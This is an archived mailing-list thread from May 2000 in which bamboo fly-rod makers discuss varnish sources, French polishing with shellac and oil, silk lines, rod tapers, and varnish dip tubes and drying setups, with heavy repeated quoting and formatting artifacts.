2000 10:45:45 -0500 Subject: Varnish boundary="----=_NextPart_000_0510_01BFBB36.62BC5100" This is a multi-part message in MIME format. ------=_NextPart_000_0510_01BFBB36.62BC5100 List, and everyone who was I sent the varnish recipe to. Tony Young was =much faster on his research than I was and found a sight that sells most =everything you need to make your own varnish. The supplies list is at =http://violins.on.ca/varsup.html and there are two good varnish recipes =at http://violins.on.ca/recipes.html Very similar to the ones I used, = Bob ------=_NextPart_000_0510_01BFBB36.62BC5100 was much faster on his research than I was and found a sight that sells = at http://violins.on.ca/varsup.htm= there are two good varnish recipes at http://violins.on.ca/recipes.h= Thanks Tony for doing the legwork on this... Bob ------=_NextPart_000_0510_01BFBB36.62BC5100-- from caneman@clnk.com Thu May 11 10:57:01 2000 (Post.Office MTA v3.5.3 release 223 ID# 0-61365U2500L250S0V35)with SMTP id com for ;Thu, 11 May 2000 10:52:50 -0500 Subject: Re: French polish... was Wrapping over varnish Just for those interested, here is a sight that has a fairly good method forfrench polishing explained is some detail.http://www.frets.com/FRETSPages/Luthier/Technique/Finish/FrenchPolish/frenchpolish1.html Later,Bob-----Original Message----- ; 'nobler@satx.rr.com' Subject: RE: French polish... was Wrapping over varnish I made a varnish for a mandolin I made and used seed lac, which isshellacin its raw stage. Seedlac is cinnamon colored and contains wax andcombinedwith poppy oil and a few resins makes a pretty flexible finish. Patrick W. CoffeyAOG Incident Repair PlanningPhone: 425-234-2901Fax: 425-237-0083M-2112 M/C 61-79 ----------From: nobler[SMTP:nobler@satx.rr.com] Sent: Wednesday, May 10, 2000 8:18 PM Subject: Re: French polish... was Wrapping over varnish It's always worth looking at the different ways to do things. The onlyshellac I ever remember was some gooey stuff, that I had a hard timegettingoff. I'll have to look into this medium one day, just to see it. I surehopethey don't eliminate the old spar varnish tho', or change it as they seemtobe doing to the urethanes. GMA----- Original Message -----From: "Bob Nunley" Sent: Wednesday, May 10, 2000 10:07 PMSubject: French polish... was Wrapping over varnish George,French polishing is a method of applying shellac. You cut flakedshellac with denatured alcohol, different strengths for differentstagesofthe finishing. It is applied with a pad slightly dampened with Oliveoil.These finishes, if properly applied, are absolutely beautiful, and ifyoudoit right, it is very durable. Later,Bob -----Original Message-----From: nobler Port Date: Wednesday, May 10, 2000 7:18 PMSubject: Re:Wrapping over varnish I take it "French Polish", is some form of shellac ? Most, or all oftheshellac I've seen didn't seem all that durable. I'm quickly findingthatthere is a type or types I'm unfamiliar with ! I do recall PHY saying he used boiled linseed oil. I've not used it,buthadthe feeling it dries so that it can be worked. GMA----- Original Message -----From: "Art Port" Sent: Wednesday, May 10, 2000 5:11 PMSubject: Re:Wrapping over varnish Shellac, like lacquer, can look good when new, but it has a shortlife. GMA George,I think the fellows who put the "French polish" on all thoseantiquesinthe Louvre and the castles of England might be interested to hearthat!*G*Art from SSteinzor@atg.state.vt.us Thu May 11 12:19:36 2000 Thu, 11 May 2000 13:18:33 -0400 Ralph W Moon Art Port Subject: RE: Wrapping over varnish Not to get too pedantic here, but the "french polish" I learned to do (fromreading Tage Frid's books on woodworking) is not what's being describedhere. In a french polish you keep the tampon wet with thinned shellac -thethinner used is alcohol, not oil - and you use it to rub in a small quantityof a very fine abrasive called rottenstone, which is what results in theincredibly high gloss and visual depth of the finish. I don't think youcould do a true "french polish" on a rod. What you guys are talking aboutis different - adding the little bit of oil probably gives the shellac a bitmore flexibility when it dries than it might otherwise have. -----Original Message-----From: Tony Young [SMTP:avyoung@iinet.net.au]Sent: Thursday, May 11, 2000 12:00 PM Cc: avyoung@iinet.net.au; nobler@satx.rr.com;rodmakers@wugate.wustl.edu; Art PortSubject: Re: Wrapping over varnish Ralph, I'm not surprised to hear of your experience with shellac as the onlycoating on a rod but not having tried it nor seen or heard of it except invague mentions of some Hardy rods I'm open to suggestion or experience.But from what I've seen of French Polish the oil is just a lubricant toprevent the rubber sticking and it's the shellac that's actually beingcoated on the item. The very small amounts I and the pros I worked withused was almost negligable and too much caused problems. Are you actually mixing linseed or tung oil with the shellac? Tony At 08:57 AM 5/11/00 -0600, Ralph W Moon wrote:Tony A couple of comments. "whichis why I mentioned it *may* not be a good finish alone fora rod" I would disagree. I have finished dozens of rods with french polishmethods. Some as long ago as twenty years ago. They are all in use andhave never even needed a touch up Fortunately none of the owners usesmartini glasses with a small enouth base to lay on one of the flats. "You wouldn't french polish a rod, just apply several thincoats of shellacseveral with a clean cloth or brush then wax it." This may not work. It is important to remember that french polishdepends on both the shellac and the oil. Ralph /*************************************************************************/AV Young Visit my web site at: www.iinet.net.au/~avyoung/flyrod.html And this our life, exempt from public haunt,Finds tongues in trees, books in running brooks,Sermons in stones, and good in everything. William Shakespeare, As You Like It /*************************************************************************/ from caneman@clnk.com Thu May 11 12:47:10 2000 (Post.Office MTA v3.5.3 release 223 ID# 0-61365U2500L250S0V35)with SMTP id com; Thu, 11 May 2000 12:42:58 -0500 "Ralph W Moon" "Art Port" Subject: Re: Wrapping over varnish Seth,The purpose of the oil is to help the shellac "lay down" on the wood andact as a lubricant during the polishing process. In traditional frenchpolishing for instruments, the Munic (aka tampon) isn't saturated at allwith shellac. a few drops on the munic along with a couple of drops ofolive oil is all you need (I always used olive oil, as it was the "old way"to do it... Just don't like to mess with success, ya know). The way wealways tested the munic to make sure it isn't overloaded is to pat it on apiece of white paper. If it leaves a slight smudge, it's ok. If itsplatters, then you wring out your munic, get it as dry as possible, thenreload it to get the shellac load light enough. If you have your municoverloaded, then it will still apply the shellac, but it will not be asmoothe glossy finish, but rather will have lines, ridges, etc in it. Theoils as I said, are there for a lubricant while applying the finish and willNOT mix with the shellac when doing a french polish finish. As a matteroffact, after each session, you should spirit off the finish to get rid of theexcess oils laying on top of the finish. In the luthier industry,rottenstone is not used. White pumice is used on maple backs and sides,butnot as a polish, rather as a filler after the first two sessions to fillgrain. After that, shellac only, and in my experience, the premixed stuffoff the shelf isn't worth the can they sell it in. I use a 1 pound cut forthe first 2 coats and a 2 pound for the remaining coats. The method I use,requires 6 coats, or sessions to get the desired results. An instrument,whether it be a guitar, mandolin or violin, that is properly french polishedwill have a brilliantly glossed finish, and there is no need to polish it,unless you want to "satin" it out a little to get rid of some of the gloss.A french polish finish could be applied to a rod, I think, but the onlydifference would be that the munic would have to be moved in a straightbackand forth motion instead of in circles as is typically done on aninstrument. The only real problem I could see is that when doing atraditional french polish, the best indicator that your munic is properlyloaded and the shellac is laying down properly is a "ghost trail" or vaportrail you can see on the finish behind the munic as you move it. Thiswouldbe a little hard to see on the flats of a rod, especially on the tipsections where the flats are so very small. Later,Bob-----Original Message----- ; Art Port Subject: RE: Wrapping over varnish Not to get too pedantic here, but the "french polish" I learned to do (fromreading Tage Frid's books on woodworking) is not what's being describedhere. In a french polish you keep the tampon wet with thinned shellac -thethinner used is alcohol, not oil - and you use it to rub in a smallquantityof a very fine abrasive called rottenstone, which is what results in theincredibly high gloss and visual depth of the finish. I don't think youcould do a true "french polish" on a rod. What you guys are talking aboutis different - adding the little bit of oil probably gives the shellac abitmore flexibility when it dries than it might otherwise have. -----Original Message-----From: Tony Young [SMTP:avyoung@iinet.net.au]Sent: Thursday, May 11, 2000 12:00 PM Cc: avyoung@iinet.net.au; nobler@satx.rr.com;rodmakers@wugate.wustl.edu; Art PortSubject: Re: Wrapping over varnish Ralph, I'm not surprised to hear of your experience with shellac as the onlycoating on a rod but not having tried it nor seen or heard of it exceptinvague mentions of some Hardy rods I'm open to suggestion orexperience.But from what I've seen of French Polish the oil is just a lubricant toprevent the rubber sticking and it's the shellac that's actually beingcoated on the item. The very small amounts I and the pros I worked withused was almost negligable and too much caused problems.Are you actually mixing linseed or tung oil with the shellac? Tony At 08:57 AM 5/11/00 -0600, Ralph W Moon wrote:Tony A couple of comments. "whichis why I mentioned it *may* not be a good finish alone fora rod" I would disagree. I have finished dozens of rods with french polishmethods. Some as long ago as twenty years ago. They are all in useandhave never even needed a touch up Fortunately none of the owners usesmartini glasses with a small enouth base to lay on one of the flats. "You wouldn't french polish a rod, just apply several thincoats of shellacseveral with a clean cloth or brush then wax it." This may not work. It is important to remember that french polishdepends on both the shellac and the oil. Ralph /*************************************************************************/AV Young Visit my web site at: www.iinet.net.au/~avyoung/flyrod.html And this our life, exempt from public haunt,Finds tongues in trees, books in running brooks,Sermons in stones, and good in everything. William Shakespeare, As You Like It /*************************************************************************/ from avyoung@iinet.net.au Thu May 11 12:52:20 2000 Fri, 12 May 2000 01:52:08 +0800 Fri, 12 May 2000 01:52:04 +0800 Subject: RE: Wrapping over varnish Ralph W Moon , nobler@satx.rr.com,rodmakers@wugate.wustl.edu, Art Port Seth,I think we're talking about the same thing. The shellac is cut with alcaholThe oil is just a lubricant to help prevent the rubber from sticking to thesurface and a very small amount is used by putting a v small oamount onthesurface as you rub. I had thought the oil wouldn't actually mix with theshellac as too much of it can (I'm told) cause problems later. The oil canbe dispenced with but that just makes the whole job more of a work up.The rottenstone is a good fine abrasive to give a final shine. Tony At 01:23 PM 5/11/00 -0400, Seth Steinzor wrote:Not to get too pedantic here, but the "french polish" I learned to do (fromreading Tage Frid's books on woodworking) is not what's being describedhere. In a french polish you keep the tampon wet with thinned shellac -thethinner used is alcohol, not oil - and you use it to rub in a small quantityof a very fine abrasive called rottenstone, which is what results in theincredibly high gloss and visual depth of the finish. I don't think youcould do a true "french polish" on a rod. What you guys are talking aboutis different - adding the little bit of oil probably gives the shellac a bitmore flexibility when it dries than it might otherwise have. -----Original Message-----From: Tony Young [SMTP:avyoung@iinet.net.au]Sent: Thursday, May 11, 2000 12:00 PM Cc: avyoung@iinet.net.au; nobler@satx.rr.com;rodmakers@wugate.wustl.edu; Art PortSubject: Re: Wrapping over varnish Ralph, I'm not surprised to hear of your experience with shellac as the onlycoating on a rod but not having tried it nor seen or heard of it except invague mentions of some Hardy rods I'm open to suggestion orexperience.But from what I've seen of French Polish the oil is just a lubricant toprevent the rubber sticking and it's the shellac that's actually beingcoated on the item. The very small amounts I and the pros I worked withused was almost negligable and too much caused problems. Are you actually mixing linseed or tung oil with the shellac? Tony At 08:57 AM 5/11/00 -0600, Ralph W Moon wrote:Tony A couple of comments. "whichis why I mentioned it *may* not be a good finish alone fora rod" I would disagree. I have finished dozens of rods with french polishmethods. Some as long ago as twenty years ago. They are all in useandhave never even needed a touch up Fortunately none of the owners usesmartini glasses with a small enouth base to lay on one of the flats. "You wouldn't french polish a rod, just apply several thincoats of shellacseveral with a clean cloth or brush then wax it." This may not work. It is important to remember that french polishdepends on both the shellac and the oil. Ralph /*************************************************************************/AV Young Visit my web site at: www.iinet.net.au/~avyoung/flyrod.html And this our life, exempt from public haunt,Finds tongues in trees, books in running brooks,Sermons in stones, and good in everything. William Shakespeare, As You Like It /*************************************************************************/ /*************************************************************************/AV Young Visit my web site at: www.iinet.net.au/~avyoung/flyrod.html And this our life, exempt from public haunt,Finds tongues in trees, books in running brooks,Sermons in stones, and good in everything. William Shakespeare, As You Like It /*************************************************************************/ from paul.blakley@ntlworld.com Thu May 11 13:05:52 2000 (InterMail vM.4.01.02.27 201-229-119-110) with ESMTP Thu, 11 May 2000 19:05:47 +0100 Subject: Re: Silk lines Tough luck Shawn, better luck next time.With reference to the reel the Gilmour was built by J &W Youngs forAlcocks, both firms were in the same town Redditch.The reel was built circa the late 50's......Tight Lines......Paul Shawn Pineo wrote: Thanks all,it appears that I have nothing more than some old nylon:^( What a bummer!!! I will keep my eyes open from now on though.The reel is still kind of nice even though I haven't beenable to find out much about it. Perhaps someone here might be able tohelp?The reel is a Allcocks "GILMOUR" Redditch, England and it seems toresemblea JW Young Pridex(???)It is black and is a click pawl type. The reel is 3 1/2" round and is fairlynarrow. It is light for a older reel , is in very good condition and runssmoothly. Shawn Shawn Pineo wrote: I think I hit pay dirt right here in my own house!! While searching adark corner of my house I found a piece of cardboard that I stashedawayquite a few years ago and forgot about. What's so special about a pieceof cardboard you ask? Well nothing but what is on it is! A long time agoI bought a old GILMOUR reel at a flea market and it had old line on itso I stripped it and wound it on a piece of cardboard for laterinspection.... Now that I know a little more I realized that there arein fact three pieces here. First a bunch of old backing, garbage. Next abraided yellow line which isn't sticky (don't know what it is??) Thirdis a caramel colored ,sticky line which I think might be silk???What I would like to know is, how do you know it is silk and isthere some other old line I could have this confused with? Both theyellow and caramel colored line appear to be level, braided and coated. HELP????? from paul.blakley@ntlworld.com Thu May 11 13:28:44 2000 (InterMail vM.4.01.02.27 201-229-119-110) with ESMTP +0100 Subject: Quadrate Rod Tapers Please help,Can anyone on the list advise a taper for an 8' #5 rated quadrate rod.Many thanks.........Paul from jczimny@dol.net Thu May 11 18:27:17 2000 rodmakers@wugate.wustl.edu, Art Port Subject: Re: Wrapping over varnish To Tony et al,You know, Walton Powell gave me a formula of 1/2 white schellac and 1/2boiledlinseed oil to rub a rod. I've never used it because it seemed to me that thetwo components ought not to be used together. Mr. Powell said that heused thatfinish on all of his rods.John Z Tony Young wrote: Ralph, I'm not surprised to hear of your experience with shellac as the onlycoating on a rod but not having tried it nor seen or heard of it except invague mentions of some Hardy rods I'm open to suggestion or experience.But from what I've seen of French Polish the oil is just a lubricant toprevent the rubber sticking and it's the shellac that's actually beingcoated on the item. The very small amounts I and the pros I worked withused was almost negligable and too much caused problems.Are you actually mixing linseed or tung oil with the shellac? Tony At 08:57 AM 5/11/00 -0600, Ralph W Moon wrote:Tony A couple of comments. "whichis why I mentioned it *may* not be a good finish alone fora rod" I would disagree. I have finished dozens of rods with french polishmethods. Some as long ago as twenty years ago. They are all in use andhave never even needed a touch up Fortunately none of the owners usesmartini glasses with a small enouth base to lay on one of the flats. "You wouldn't french polish a rod, just apply several thincoats of shellacseveral with a clean cloth or brush then wax it." This may not work. It is important to remember that french polishdepends on both the shellac and the oil. Ralph /*************************************************************************/AV Young Visit my web site at: www.iinet.net.au/~avyoung/flyrod.html And this our life, exempt from public haunt,Finds tongues in trees, books in running brooks,Sermons in stones, and good in everything. William Shakespeare, As You Like It /*************************************************************************/ from nsflyrods@ns.sympatico.ca Thu May 11 18:34:03 2000 Subject: Taper boundary="------------8E4101AD3A4D999C09DFE3CE" --------------8E4101AD3A4D999C09DFE3CE Hey guys,while looking through a book tonight I found an articlewhich contained a taper for a Penta rod that I believe might have beenwritten by Claude M Kreider?It is supposed to be a strong 5 sided rod at 8'0" It doesn't say what wtit is for but the ferrule is a 14/64 so I'm going to guess that it is I'll post it here and maybe someone will recognize thetaper and be able to give us some info on the rod. The taper is on6"stations. BUTT TIP0 .360 .2356 .360 .22012 .360 .20018 .340 .18024 .320 .16030 .295 .14036 .275 .12042 .250 .09548 .235 .075 Hopefully this rings a bell with someone out there. Enjoy, Shawn --------------8E4101AD3A4D999C09DFE3CE Hey guys, while looking through a book tonight I found an article which containeda taper for a Penta rod that I believe might have been written by ClaudeM Kreider?It is supposed to be a strong 5 sided rod at 8'0" It doesn't say whatwt it is for but the ferrule is a 14/64 so I'm going to guess that it is I'll post it here and maybe someone will recognize the taper and be ableto give us some info on the rod. The taper is on 6"stations. TIP ..235 ..220 ..200 ..180 ..160 ..140 ..120 ..095 ..075Hopefully this rings a bell with someone out there. Enjoy, Shawn --------------8E4101AD3A4D999C09DFE3CE-- from tklein@amgen.com Thu May 11 18:39:41 2000 smtp.amgen.com via smap (V4.2) (5.5.2448.0) Subject: RE: Wrapping over varnish As his only finish or as a base to a varnish? ----------From: J. C. Zimny[SMTP:jczimny@dol.net] Sent: Tuesday, May 09, 2000 8:29 AM Cc: Ralph W Moon; nobler@satx.rr.com; rodmakers@wugate.wustl.edu;ArtPortSubject: Re: Wrapping over varnish To Tony et al,You know, Walton Powell gave me a formula of 1/2 white schellac and1/2boiledlinseed oil to rub a rod. I've never used it because it seemed to me thatthetwo components ought not to be used together. Mr. Powell said that heusedthatfinish on all of his rods.John Z Tony Young wrote: Ralph, I'm not surprised to hear of your experience with shellac as the onlycoating on a rod but not having tried it nor seen or heard of it exceptinvague mentions of some Hardy rods I'm open to suggestion orexperience.But from what I've seen of French Polish the oil is just a lubricant toprevent the rubber sticking and it's the shellac that's actually beingcoated on the item. The very small amounts I and the pros I workedwithused was almost negligable and too much caused problems.Are you actually mixing linseed or tung oil with the shellac? Tony At 08:57 AM 5/11/00 -0600, Ralph W Moon wrote:Tony A couple of comments. "whichis why I mentioned it *may* not be a good finish alone fora rod" I would disagree. I have finished dozens of rods with french polishmethods. Some as long ago as twenty years ago. They are all in useandhave never even needed a touch up Fortunately none of the ownersusesmartini glasses with a small enouth base to lay on one of the flats. "You wouldn't french polish a rod, just apply several thincoats of shellacseveral with a clean cloth or brush then wax it." This may not work. It is important to remember that french polishdepends on both the shellac and the oil. Ralph /*************************************************************************/AV Young Visit my web site at: www.iinet.net.au/~avyoung/flyrod.html And this our life, exempt from public haunt,Finds tongues in trees, books in running brooks,Sermons in stones, and good in everything. William Shakespeare, As You Like It /*************************************************************************/ from anglport@con2.com Thu May 11 19:21:56 2000 (SMTPD32-6.00) id ADCD1F702F8; Thu, 11 May 2000 20:18:21 -0400 "Rod Makers List Serve" Subject: Re: French polish... was Wrapping over varnish George,I was pretty sure the French polish was a blend of shellac AND an oilbutI wasn't sure enough to cite that to you on my own. You make a pad ofapplicator rag and some sort of rag filling, diaper over cotton wastecomes to mind,( a wad, actually; you fully impregnate it with the liquid;then you rub 'til your arm falls off). I'm glad there are others on thelist who are also familiar with it. I believe you'll find most of theEuropean antiques (Louis XIV, etc.), are all finished that way. It was notonly durable, it was eminently renewable over time.I believe a lot of pianos are finished that way. It is NOT impermeabletoalcohal or water, but if you rub a new application on, it completelyrestores the original finish and obliterates the disfigurement.Art At 10:18 PM 05/10/2000 -0500, nobler wrote:It's always worth looking at the different ways to do things. The onlyshellac I ever remember was some gooey stuff, that I had a hard timegettingoff. I'll have to look into this medium one day, just to see it. I sure hopethey don't eliminate the old spar varnish tho', or change it as they seemtobe doing to the urethanes. GMA----- Original Message -----From: "Bob Nunley" Sent: Wednesday, May 10, 2000 10:07 PMSubject: French polish... was Wrapping over varnish George,French polishing is a method of applying shellac. You cut flakedshellac with denatured alcohol, different strengths for different stagesofthe finishing. It is applied with a pad slightly dampened with Olive oil.These finishes, if properly applied, are absolutely beautiful, and if youdoit right, it is very durable. Later,Bob -----Original Message-----From: nobler Port Date: Wednesday, May 10, 2000 7:18 PMSubject: Re:Wrapping over varnish I take it "French Polish", is some form of shellac ? Most, or all of theshellac I've seen didn't seem all that durable. I'm quickly finding thatthere is a type or types I'm unfamiliar with ! I do recall PHY saying he used boiled linseed oil. I've not used it, buthadthe feeling it dries so that it can be worked. GMA----- Original Message -----From: "Art Port" Sent: Wednesday, May 10, 2000 5:11 PMSubject: Re:Wrapping over varnish Shellac, like lacquer, can look good when new, but it has a shortlife. GMA George,I think the fellows who put the "French polish" on all those antiquesinthe Louvre and the castles of England might be interested to hearthat!*G*Art from flyh2o@worldnet.att.net Thu May 11 19:41:21 2000 (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP ;Fri, 12 May 2000 00:40:48 +0000 Subject: Re: French polish... was Wrapping over varnish Irushi?Ask Gary Glokamp.....believe it needs to be handled carefully as it isor can be toxic. DNHayashida@aol.com wrote: If you want something really exotic ask Max Sato aboutJapanese Lacquer - the same stuff they used to use forsamurai armor.Darryl --Mike LeitheiserLake Oswego, Oregon "When the trout are lost, smash the state."Tom McGuane from RMargiotta@aol.com Thu May 11 19:42:41 2000 Subject: Re: Quadrate Rod Tapers In a message dated 5/11/00 2:32:49 PM Eastern Daylight Time, paul.blakley@ntlworld.com writes: Here's the taper to a 8'0" 3/2 Edwards Quadrate Model 50. It casts wellwith a DT5 but really seems to like a TT 5/6. The measurements were takenover priginal varnish, so I'd guess a deduction of about .004 is in order. There is a pronounced swell in the butt. 1.5 0.0685 0.08710 0.10515 0.12220 0.13325 0.14330 0.15335 0.17040 0.18845 0.19250 0.20355 0.21060 0.23365 0.23570 0.24575 0.25680 0.27484 0.332 --Rich from nobler@satx.rr.com Thu May 11 20:00:24 2000 SMTPSVC(5.5.1877.357.35);Thu, 11 May 2000 19:47:44 -0500 Subject: French Polish Thanks to all for the very nice education on this finishing method.Somehowin all these years, I had never heard of the application. I do hope out varnishes, as we have known them, don't go away though ! GMA from anglport@con2.com Thu May 11 20:02:23 2000 (SMTPD32-6.00) id A74627B02F4; Thu, 11 May 2000 20:58:46 -0400 Subject: Re: Hey Harry,(& all) Bill,If you've never dipped before you might be surprised at how difficultitcan be to hold a 4 ft long shaft by 3/4" of its end ( the ferrule) andcontrol the other end to within 1/2" or so. When those three guys come outof the varnish, if you wish to move them to, say, a drying cabinet, you'regoing to be touching the opposite ends to each other WAY more than you'llwant to ( like even ONCE). That plays hob with the smootheness of thevarnish.Just a thought,Art At 10:23 AM 05/11/2000 -0400, Bill Hoy wrote:The tube protectors I've found at the local home improvement center all seem very flimsy. Are they ok for holding varnish? (A mistake here could really lead to an intense discussion with my wife). I've found clear pvc pipe at McMaster Carr, but they are quite expensive. My idea is to use a 2" diamater tube and coat all three sections at a time, rigging some kind of holder at the top and bottom of the sections. Anybody tried this? Bill Hoy At 07:51 AM 5/11/00, Harry Boyd wrote:Jim,I would describe the tubes as semi-rigid. They are plenty stiff enough to keep from collapsing when filled with varnish. I use standard PVC fittings end caps.I glue a cap on the bottom, and use a pressure fit for the top, The fit isair-tight, and I leave the varnish in the tube all the time. One thing to watch,though. Over time, the sealed tube seems to distort its shape. There's one in myshop now that is no longer round, but decidedly egg shaped. If it gets much worse,I'll take the cap off for a minute to let a little air in.Plenty of questions is okay. That's what this list is for.... Harry Jim Flinchbaugh wrote: hey,Harry, Are these tubes flexible or semi-rigid? any troublekeeping them straight so the blank doesnt rub? What did you use also, do you folks store your finish in the drip tube when not in use? And for all who replied to my post about which books to get, to getme started , as of Friday I received both, The Lovely Reed, andRay Goulds book and have found the pair of them to beexecptional. JAcks book is very simply written, and Rays providesa little more technical info where needed, A big thanks to both ofthem, and to all who pointed me in the right direction. Time to startbuilding equipment, the shop is finally done! from avyoung@iinet.net.au Thu May 11 21:01:59 2000 Fri, 12 May 2000 10:01:43 +0800 Fri, 12 May 2000 10:01:38 +0800 Subject: Re: Wrapping over varnish nobler@satx.rr.com,rodmakers@wugate.wustl.edu, Art Port Well, I'm completly confused right about now. I'd have thought anycombination of oil and shellac would make an emolsion that wouldn'treallywork rather than a mix that would work but enough respected people havesaid otherwise so I guess it's down to just trying it on some scrap andseeing. Tony At 10:29 AM 5/9/00 -0400, J. C. Zimny wrote: To Tony et al,You know, Walton Powell gave me a formula of 1/2 white schellac and1/2boiledlinseed oil to rub a rod. I've never used it because it seemed to me thatthetwo components ought not to be used together. Mr. Powell said that heusedthatfinish on all of his rods.John Z Tony Young wrote: Ralph, I'm not surprised to hear of your experience with shellac as the onlycoating on a rod but not having tried it nor seen or heard of it except invague mentions of some Hardy rods I'm open to suggestion orexperience.But from what I've seen of French Polish the oil is just a lubricant toprevent the rubber sticking and it's the shellac that's actually beingcoated on the item. The very small amounts I and the pros I worked withused was almost negligable and too much caused problems.Are you actually mixing linseed or tung oil with the shellac? Tony At 08:57 AM 5/11/00 -0600, Ralph W Moon wrote:Tony A couple of comments. "whichis why I mentioned it *may* not be a good finish alone fora rod" I would disagree. I have finished dozens of rods with french polishmethods. Some as long ago as twenty years ago. They are all in useandhave never even needed a touch up Fortunately none of the owners usesmartini glasses with a small enouth base to lay on one of the flats. "You wouldn't french polish a rod, just apply several thincoats of shellacseveral with a clean cloth or brush then wax it." This may not work. It is important to remember that french polishdepends on both the shellac and the oil. Ralph /*************************************************************************/AV Young Visit my web site at: www.iinet.net.au/~avyoung/flyrod.html And this our life, exempt from public haunt,Finds tongues in trees, books in running brooks,Sermons in stones, and good in everything. William Shakespeare, As You Like It /*************************************************************************/ /*************************************************************************/AV Young Visit my web site at: www.iinet.net.au/~avyoung/flyrod.html And this our life, exempt from public haunt,Finds tongues in trees, books in running brooks,Sermons in stones, and good in everything. William Shakespeare, As You Like It /*************************************************************************/ from RMargiotta@aol.com Thu May 11 21:08:16 2000 Subject: French polishing An excellent description of the history and technique can be found at: http://www.assoc-restorers.com/r-articles/padding_shellac.html --Rich from petermckean@netspace.net.au Thu May 11 23:56:58 2000 Subject: shellac - useless information boundary="----=_NextPart_000_0009_01BFBC21.BBA10D60" This is a multi-part message in MIME format. ------=_NextPart_000_0009_01BFBC21.BBA10D60 As Tony young says, I use shellac as a head cement in both dry and wet =flies, and while I am not by any means a french polisher, grew up at a =time when a lot of things were finished that way. "Shellac" is a =substance called "lac" which has been dissolved and re-dried into orange =red flakes. "Lac" is a protective secretion from a variety of insects, =notably the genus Laccifer, which occur in India and SE Asia; the word ="lac" is a Persian word meaning "Hundred thousand", which indicates the =huge numbers of these insects which infest the trees to produce the lac. =I use it as a head cement (a) because it is very effective, waterproof =in the context of flies at any rate (b) because I can dissolve it in =alcohol and vary the consistency at will - leave the top off for a day =or so, and it's thickened up , slop in a bit of alcs and she's thinned =out again & (c) because it's a nice safe natural product with no nasty =solvents etc, and that just sort of fits in to the flyfishing thing; you =know, weird grass grown in China for the rods, bound with the secretion =of glands from a larval moth - sealing at least something with beetle =poop seems sort of appropriate!One more comment - I have also finished my gunstocks with hand rubbed =(and rubbed, and rubbed, and rubbed) boiled linseed, and while it is a =very classy finish for that purpose, you DO have to be continually =touching it up after things like Quail in the rain or you get some water =marks.Peter ------=_NextPart_000_0009_01BFBC21.BBA10D60 As Tony young says, I use shellac as a= in both dry and wet flies, and while I am not by any means a french = grew up at a time when a lot of things were finished that way. "Shellac" = substance called "lac" which has been dissolved and re-dried into orange = flakes. "Lac" is a protective secretion from a variety of insects, = genus Laccifer, which occur in India and SE Asia; the word "lac" is a = word meaning "Hundred thousand", which indicates the huge numbers of = insects which infest the trees to produce the lac. I use it as a head = because it is very effective, waterproof in the context of flies at any = because I can dissolve it in alcohol and vary the consistency at will - = the top off for a day or so, and it's thickened up , slop in a bit of = she's thinned out again & (c) because it's a nice safe natural = no nasty solvents etc, and that just sort of fits in to the flyfishing = you know, weird grass grown in China for the rods, bound with the = glands from a larval moth - sealing at least something with = seems sort of appropriate!One more comment - I have alsofinished = gunstocks with hand rubbed (and rubbed, and rubbed, and rubbed) boiled = and while it is a very classy finish for that purpose, you DO have to be = continually touching it up after things like Quail in the rain or you = water marks.Peter ------=_NextPart_000_0009_01BFBC21.BBA10D60-- from gjm80301@yahoo.com Fri May 12 09:51:40 2000 2000 07:51:36 PDT Subject: Watlow oven temperature controllers My oven was damaged in a move and am going over it and makingimprovements (it is a Cattanach type). Through ebay, I found a seller of several highly accurate Watlowdigital temperature controllers at a reasonable price ($81). Theseare designed to control temperatures within a degree. I understandthat regular oven controllers can wander 20 degrees or more. Youwould need to add a relay (some are selling for $7.50 there) and atype J thermocouple(temperature probe you put in the oven) - thosesell around $10 on ebay. So, for about $100, you can get very accurate controls for anythermostat- controlled oven. No commercial interest, just seemed like a good deal. The controller I bought (same seller) ebay # 324800059 Manual at Watlow for the controller:http://www.watlow.com/literature/prodtechinfo/files/Controllers/965E_C.pdf The other improvement I am making to the oven is to put a metalbarrier splitting the oven in half horizontally with opening on eachend and then adding a fan to circulate the internal air to eventhings out. __________________________________________________Do You Yahoo!?Send instant messages & get email alerts with Yahoo! Messenger.http://im.yahoo.com/ from jwt4639@ritvax.isc.rit.edu Fri May 12 11:49:04 2000 with ESMTPA id forrodmakers@wugate.wustl.edu; Fri, 12 May 2000 12:48:59 EDT Subject: Building Forms (wooden) Have a question about the bolts used in the wood forms. Are they thenormal 'course' thread bolts you find in the hardware or are they finethread bolts ? Jim Tefft from homessold@email.msn.com Fri May 12 12:17:48 2000 SMTPSVC;Fri, 12 May 2000 10:17:11 -0700 Subject: six-section dip system Been doing some design work on a new six-section dip system. One of thedesign element requirements is to eliminate the problem of sectionstouchingeach other during the withdrawal and drying. I plan to use:1. Threaded rod of appropriate length.2. Two washers with six equally spaced pins soldered an appropriatedistanceback from the edge. Extra holes in the washers to allow varnish draineasier.3. Twelve pieces of surgical tubing to fit over the pins and rod sectionsends.4. Four nuts, no pun intended, to compress and hold everything inalignment.The idea being to pull the holder into a filtered forced air drying tube.The holder will keep the sections from touching each other and the dryingtube. This concept could be expanded to accommodate different lengthsections also. Any comments? Don from stuart.rod@gmx.de Fri May 12 13:35:21 2000 20:37:29 +0200 Subject: Drip Tubes and Linseed Oil With all of these messages about linseed oil on the list I've beenhaving nightmares with distinct memories of how I had to rub one coatafter the other onto my big brothers cricket bat during the cricketseason!! Usually a punishment for doing something minor. One positive thing was that it smelt wonderful........... I am just starting to gather parts for a varnishing drip tube and waswondering if anybody had used Plexiglass (it may be called Perspex insome places) tubes to varnish the rod in. Here in Germany they don'tsell the flourescent light strips in plastic tubes and the onlyalternative I could come up with is the Plexiglass. Would this be aproblem? Are there any chemical additives in plexiglass that will damagethe varnish etc?. Also what about inner diameters of the tube? Has anybody found aparticular sized tube to be perfect, or does size really not matter:-)?. Thanks Stuart from richard.nantel@videotron.ca Fri May 12 14:26:28 2000 Internet Mail Serversims.3.5.1999.12.14.10.29.p8)with SMTP id forrodmakers@wugate.wustl.edu; Fri, 12 May 2000 15:12:06 Subject: Silk line bonanza part 2 I've cleaned my eight silk lines as per Reed Curry's excellent technique.It worked really well. Lines that were dark brown are now off white orlight green. I'm now ready to dress the lines. Reed suggests a tung oil/varnish mixtureand mentions that he uses Formby's right out of the bottle. I unfortunatelycan't get Formby's here in Canada. I do, however, have some tung oil andsome spar varnish in the workshop. Does anyone have an idea of the ratioofoil to varnish that would be appropriate? Thanks in advance, Richard from anglport@con2.com Fri May 12 14:51:23 2000 (SMTPD32-6.00) id AFE95B102A6; Fri, 12 May 2000 15:47:53 -0400 Subject: Re: six-section dip system Any comments? Don Buy stock in a varnish company. 